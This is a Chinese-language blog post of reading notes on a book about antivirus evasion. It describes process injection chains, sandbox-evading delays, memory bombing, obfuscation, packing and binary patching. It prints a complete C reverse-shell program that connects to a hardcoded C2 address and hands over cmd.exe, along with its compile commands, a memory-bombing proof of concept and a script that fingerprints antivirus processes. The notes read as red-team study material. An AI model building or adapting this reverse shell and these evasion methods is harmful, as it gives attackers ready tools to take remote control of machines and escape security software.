本文是基本图书《Antivirus Bypass Techniques: Learn practical techniques and tactics to combat, bypass, and evade antivirus software》的读书笔记,也就是一本免杀书籍,国内好久没有免杀类的书了,不如来看看国外的,有兴趣的可以自行找一找,下载看一下,亚马逊上也有,地址如下:
https://www.amazon.com/Antivirus-Bypass-Techniques-practical-techniques/dp/1801079749
前几章是对于windows基础的讲解,进程、线程、注册表啥的,这里就不多说了。
我们直接从bypass av的地方开始看。
第一部分,绕过动态扫描
1、进程注入
引用作者的话:
进程注入是用于动态绕过反病毒引擎的最常见技术之一。
反病毒引擎的最常用技术之一。许多反病毒软件供应商和软件开发商依靠所谓的
进程注入或代码注入来检查系统上运行的进程。使用进程注入,我们可以将恶意代码注入到操作系统内合法的进程中,从而避免被动态反病毒引擎发现。
引擎的检测。
一般的进程注入步骤如下
1. 确定一个目标进程,在其中注入代码。
2. 接收目标进程的句柄以访问其进程地址空间。
3. 分配一个虚拟内存地址空间,代码将被注入并执行。如果需要的话,分配一个执行标志。
4. 在目标进程的分配的内存地址空间中执行代码注入。
5. 最后,执行注入的代码。
1.1 Classic DLL injection
作者使用的是最基础的DLL injection,进程调用链如下:
代码语言:javascript复制OpenProcess---->VirtualAllocEx---->WriteProcessMemory---->CreateRemoteThread---->LoadLibrary/GetProcAddress
1.2 Process hollowing
进程镂空,进程调用链如下:
代码语言:javascript复制CreateProcess---->ZwUnmapViewOfSection/NtUnmapViewOfSection---->VirtualAllocEx---->WriteProcessMemory---->SetThreadContext and ResumeThread
1.3 Process doppelgänging
进程调用链如下:
代码语言:javascript复制CreateFileTransacted---->WriteFile---->NtCreateSection---->RollbackTransaction---->NtCreateProcessEx, RtlCreateProcessParametersEx,
VirtualAllocEx, WriteProcessMemory, NtCreateThreadEx,NtResumeThread
然后又附上了一些其他的注入方式
2、延时
有点反沙箱的意思,书里面介绍了Sleep()函数并不真正适用于反病毒,
我们必须使用其他函数--如GetTickCount、GetSystemTime、GetSystemTimeAsFileTime、QueryPerformanceCounter、timeGetTime......
3、Memory bombing
直译过来就是内存轰炸,利用分配大内存使得杀毒软件使用过多的资源在相对较大的内存上进行简单的扫描时迫使杀毒软件放弃检测我们的恶意文件(感觉怪怪的)然后分析了malloc()和calloc()的区别,并最后给出了一个POC
代码语言:javascript复制int main()
{
char *memory_bombing = NULL;
memory_bombing = (char *) calloc(200000000, sizeof(char));
if(memory_bombing != NULL)
{
free(memory_bombing);
payload();
}
return 0;
}
使用这类技术可以使得原生msf在vt上的爆毒减少10左右
第二部分,绕过静态扫描
1、混淆
1.1 Rename obfuscation
主要针对代码中的变量名。然后给出了一个py的在线混淆网站
https://pyob.oxyry.com/
对比
1.2 Control-flow obfuscation
控制流混淆将原始源代码转化为复杂的、不可读的和不明确的代码。例子:
1.3 绕过yara
就是绕过那个静态扫描的,可以不把恶意代码写入使用分离加载绕过
代码语言:javascript复制#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
Sleep(5000); // Five Second
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exitn") == 0) {
exit(0);
}
}
}
}
}
int main(int argc, char **argv) {
FreeConsole();
if (argc == 3) {
int port = atoi(argv[2]);
RunShell(argv[1], port);
}
else {
char host[] = "192.168.0.101"; // change this to your ip address
int port = 4444; //chnage this to your open port
RunShell(host, port);
}
return 0;
}
编译
代码语言:javascript复制i686-w64-mingw32-g socket.cpp -o before_obfuscation.exe
-lws2_32 -lwininet -s -ffunction-sections -fdata-sections
-Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc -static-libgcc -fpermissive
ps:以上都可以使用llvm来做
2、加密
2.1 Oligomorphic code
大体意思是每次运行选择不同的key解密自己
2.2 Polymorphic code
在此之上更加复杂,即key-->source形式
2.3 Metamorphic code
运行时改变恶意软件的内容,从而使自己发生变异。例如,这种变化可以使恶意软件增加完全无用的条件和变量,但对其功能没有影响,改变机器指令。
在不同的位置给自己添加无操作(NOP)指令,等等。
3、壳
这一部分没说什么太多的东西,文中使用的upx对国内不太友好,需要自己改upx。
第三部分,其他免杀技术
1、binary patching
利用patch技术,以nc为例,nc一开始是sub esp, 18
将18改成17
不影响文件运行,但在VT上面少了10个爆毒。
2、Timestomping
这个我感觉没什么用。就是改变文件创建时间
3、junk code
垃圾代码,跟上面的类似,一个开sockets的demo
4、技术总结
第四部分,红队操作中的免杀
一上来给了个wmi查杀软进程的脚本
代码语言:javascript复制import wmi
print("Antivirus Bypass Techniques by Nir Yehoshua and Uriel
Kosayev")
Proc = wmi.WMI()
AV_Check = ("MsMpEng.exe", "AdAwareService.exe", "afwServ.
exe", "avguard.exe", "AVGSvc.exe", "bdagent.
exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.
exe", "GDScan.exe", "avp.exe", "K7CrvSvc.exe", "McAPExe.
exe", "NortonSecurity.exe", "PavFnSvr.exe", "SavService.
exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.
exe")
for process in Proc.Win32_Process():
if process.Name in AV_Check:
print(f"{process.ProcessId} {process.Name}")
代码语言:javascript复制pyinstaller --onefile "Antivirus Fingerprinting.py"
国内就好多了,在线的很多,也方便也全面。然后这一部分就结束了。